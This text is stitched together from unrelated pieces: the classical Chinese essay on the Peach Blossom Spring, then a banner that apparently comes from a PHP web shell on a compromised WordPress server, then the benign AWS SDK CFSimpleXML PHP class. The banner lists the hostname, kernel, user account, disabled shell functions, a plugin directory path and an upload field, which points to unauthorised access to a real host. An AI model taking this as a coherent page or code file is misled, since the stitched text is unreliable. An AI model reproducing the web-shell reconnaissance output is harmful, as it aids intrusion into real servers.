晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/stando/public_html/wp-content/plugins/w3-total-cache/lib/SNS/utilities/ |
Upload File : |
<?php
/*
* Copyright 2010-2011 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
/*%******************************************************************************************%*/
// CLASS
/**
* Wraps the underlying `SimpleXMLIterator` class with enhancements for rapidly traversing the DOM tree,
* converting types, and comparisons.
*
* @version 2011.04.25
* @license See the included NOTICE.md file for more information.
* @copyright See the included NOTICE.md file for more information.
* @link http://aws.amazon.com/php/ PHP Developer Center
* @link http://php.net/SimpleXML SimpleXML
*/
class CFSimpleXML extends SimpleXMLIterator
{
/**
* Stores the namespace name to use in XPath queries.
*/
public $xml_ns;
/**
* Stores the namespace URI to use in XPath queries.
*/
public $xml_ns_url;
/**
* Catches requests made to methods that don't exist. Specifically, looks for child nodes via XPath.
*
* @param string $name (Required) The name of the method.
* @param array $arguments (Required) The arguments passed to the method.
* @return mixed Either an array of matches, or a single <CFSimpleXML> element.
*/
public function __call($name, $arguments)
{
// Remap $this
$self = $this;
// Re-base the XML
$self = new CFSimpleXML($self->asXML());
// Determine XPath query
$self->xpath_expression = 'descendant-or-self::' . $name;
// Get the results and augment with CFArray
$results = $self->xpath($self->xpath_expression);
if (!count($results)) return false;
$results = new CFArray($results);
// If an integer was passed, return only that result
if (isset($arguments[0]) && is_int($arguments[0]))
{
if (isset($results[$arguments[0]]))
{
return $results[$arguments[0]];
}
return false;
}
return $results;
}
/**
* Alternate approach to constructing a new instance. Supports chaining.
*
* @param string $data (Required) A well-formed XML string or the path or URL to an XML document if $data_is_url is <code>true</code>.
* @param integer $options (Optional) Used to specify additional LibXML parameters. The default value is <code>0</code>.
* @param boolean $data_is_url (Optional) Specify a value of <code>true</code> to specify that data is a path or URL to an XML document instead of string data. The default value is <code>false</code>.
* @param string $ns (Optional) The XML namespace to return values for.
* @param boolean $is_prefix (Optional) (No description provided by PHP.net.)
* @return CFSimpleXML Creates a new <CFSimpleXML> element.
*/
public static function init($data, $options = 0, $data_is_url, $ns, $is_prefix = false)
{
if (version_compare(PHP_VERSION, '5.3.0', '<'))
{
throw new Exception('PHP 5.3 or newer is required to instantiate a new class with CLASS::init().');
}
$self = get_called_class();
return new $self($data, $options, $data_is_url, $ns, $is_prefix);
}
/*%******************************************************************************************%*/
// TRAVERSAL
/**
* Wraps the results of an XPath query in a <CFArray> object.
*
* @param string $expr (Required) The XPath expression to use to query the XML response.
* @return CFArray A <CFArray> object containing the results of the XPath query.
*/
public function query($expr)
{
return new CFArray($this->xpath($expr));
}
/**
* Gets the parent or a preferred ancestor of the current element.
*
* @param string $node (Optional) Name of the ancestor element to match and return.
* @return CFSimpleXML A <CFSimpleXML> object containing the requested node.
*/
public function parent($node = null)
{
if ($node)
{
$parents = $this->xpath('ancestor-or-self::' . $node);
}
else
{
$parents = $this->xpath('parent::*');
}
return $parents[0];
}
/*%******************************************************************************************%*/
// ALTERNATE FORMATS
/**
* Gets the current XML node as a true string.
*
* @return string The current XML node as a true string.
*/
public function to_string()
{
return (string) $this;
}
/**
* Gets the current XML node as <CFArray>, a child class of PHP's <php:ArrayObject> class.
*
* @return CFArray The current XML node as a <CFArray> object.
*/
public function to_array()
{
return new CFArray(json_decode(json_encode($this), true));
}
/**
* Gets the current XML node as a stdClass object.
*
* @return array The current XML node as a stdClass object.
*/
public function to_stdClass()
{
return json_decode(json_encode($this));
}
/**
* Gets the current XML node as a JSON string.
*
* @return string The current XML node as a JSON string.
*/
public function to_json()
{
return json_encode($this);
}
/**
* Gets the current XML node as a YAML string.
*
* @return string The current XML node as a YAML string.
*/
public function to_yaml()
{
return sfYaml::dump(json_decode(json_encode($this), true), 5);
}
/*%******************************************************************************************%*/
// COMPARISONS
/**
* Whether or not the current node exactly matches the compared value.
*
* @param string $value (Required) The value to compare the current node to.
* @return boolean Whether or not the current node exactly matches the compared value.
*/
public function is($value)
{
return ((string) $this === $value);
}
/**
* Whether or not the current node contains the compared value.
*
* @param string $value (Required) The value to use to determine whether it is contained within the node.
* @return boolean Whether or not the current node contains the compared value.
*/
public function contains($value)
{
return (stripos((string) $this, $value) !== false);
}
}